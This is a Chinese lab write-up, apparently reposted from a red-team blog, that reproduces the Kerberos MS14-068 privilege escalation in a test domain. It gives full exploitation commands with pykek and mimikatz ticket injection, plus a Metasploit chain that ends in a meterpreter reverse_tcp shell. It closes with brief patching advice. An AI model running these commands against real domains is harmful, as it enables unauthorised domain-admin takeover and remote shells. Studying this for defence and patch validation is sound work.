前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kerberos域用户提权漏洞(MS14-068)分析与防范

Kerberos域用户提权漏洞(MS14-068)分析与防范

作者头像
渗透攻击红队
发布2020-12-14 11:37:28
5.5K0
发布2020-12-14 11:37:28
举报
文章被收录于专栏:漏洞知识库漏洞知识库

大家好,这里是 渗透攻击红队 的第 36 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),不出意外每天一更

简介

Kerberos 域用户提权漏洞(MS14-068,CVE-2014-6324),所有 Windows 服务器都会收到该漏洞影响。包括 Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012 和 Windows Server 2012 R2。

该漏洞可导致活动目录整体权限控制收到影响,允许攻击者将域内任意用户权限提升至域管理级别。

如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。

漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

MS14-068

PyKEY 工具包

PyKEY 是一个利用 Kerberos 协议进行渗透测试的工具包。

使用 PyKEY 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。

运行环境 python2.7.

下载地址:https://github.com/mubix/pykek

工具说明

ms14-068.py 是 PyKEY 工具包中的 MS14-068 漏洞利用脚本。

-u:用户名@域名
-s:用户SID
-d:域控制器地址
-p:明文密码
--rc4:在没有明文密码的情况下,通过NTLM Hash登录
查看域控制器的补丁安装情况

微软针对 MS14-068 漏洞提供补丁为 KB3011780。输入命令查看补丁情况:

wmic qfe get hotfixid

可以看到域控机器没有安装补丁。

查看用户的 SID

以用户 mary 身份登录,输入命令查看 SID 为:S-1-5-21-1218902331-2157346161-1782232778-1124

whoami /user

还可以使用这条命令获取域内所有用户的 SID:

wmic useraccount get name,sid
生成高权限票据

使用 PyKEY 生成高权限票据命令格式:

ms14-068.py -u 域成员@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

域成员:mary

域名:god.org

mary 的 sid:S-1-5-21-1218902331-2157346161-1782232778-1124

域控制器地址:192.168.2.25

域成员 mary 的密码:admin!@#45

使用命令如下:

ms14-068.py -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.2.25 -p admin!@#45

之后会在当前路径下生成一个名为 :TGT_mary@god.org.ccache 的票据文件。

查看注入前的权限

首先我们查看域控制器C盘的内容是看不了的:

dir \\OWA2010CN-God\c$
清除内存中所有票据

如果目标主机上内存中有票据的话,我们需要把票据都清除:

kerberos::purge
将高权限票据注入内存

将票据文件复制到 Mary win7 的机器下的 mimikatz 目录下,使用 mimikatz 将票据注入内存:

kerberos::ptc "票据文件"
kerberos::ptc "TGT_mary@god.org.ccache"

显示 Injecting ticket:OK ,表示注入成功!

验证权限

使用 dir 列出域控制器 C 盘的内容,这个时候就可以了:

dir \\OWA2010CN-God\c$

Metasploit 中进行测试

在 MSF 中,也有一个针对 MS14-068 漏洞利用的模块:

use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

它只需要输入域名、被提权用户的密码、被提权用户、被提权用户的SID,域控制器的IP:

域成员:mary

域名:god.org

mary 的 sid:S-1-5-21-1218902331-2157346161-1782232778-1124

域控制器地址:192.168.2.25

域成员 mary 的密码:admin!@#45

set domain god.org
set password admin!@#45
set user mary
set user_sid S-1-5-21-1218902331-2157346161-1782232778-1124
set rhosts 192.168.2.25
run

运行之后,会在 /root/.msf4/loot 目录下 生成文件:20201110021544_default_192.168.2.25_windows.kerberos_988070.bin

接下来要进行格式转换,在 mimikatz 中输入命令,导出 kirbi 格式的文件:

kerberos::clist "20201110021544_default_192.168.2.25_windows.kerberos_988070.bin" /export

这个时候转换成了:0-00000000-mary@krbtgt-GOD.ORG.kirbi 文件,我移动到了 Kali 的/root 目录下,一会好操作!

首先需要让域用户 mary win7 上线 MSF:

输入 load kiwi 命令加载 mimikatz:

然后输入命令导入票据:

kerberos_ticket_use /root/0-00000000-mary@krbtgt-GOD.ORG.kirbi

之后切换后台 bakcgroud ,使用模块进行高权限票据提权:

use exploit/windows/local/current_user_psexec
set technique PSH
set rhosts 192.168.2.24
set payload windows/meterpreter/reverse_tcp
set session 4
run

防范建议

针对 Kerberos 域用户提权漏洞: 开启 Windows update 功能,进行自动更新 手动下载补丁包进行修复:https://technet.microsoft.com/library/security/ms14-068 对域内账号进行控制,禁止使用弱口令、定期修改密码 在服务器上安装杀毒软件,及时更新病毒库

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工具说明
  • 查看域控制器的补丁安装情况
  • 查看用户的 SID
  • 生成高权限票据
  • 查看注入前的权限
  • 清除内存中所有票据
  • 将高权限票据注入内存
  • 验证权限
  • 针对 Kerberos 域用户提权漏洞: 开启 Windows update 功能,进行自动更新 手动下载补丁包进行修复:https://technet.microsoft.com/library/security/ms14-068 对域内账号进行控制,禁止使用弱口令、定期修改密码 在服务器上安装杀毒软件,及时更新病毒库
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档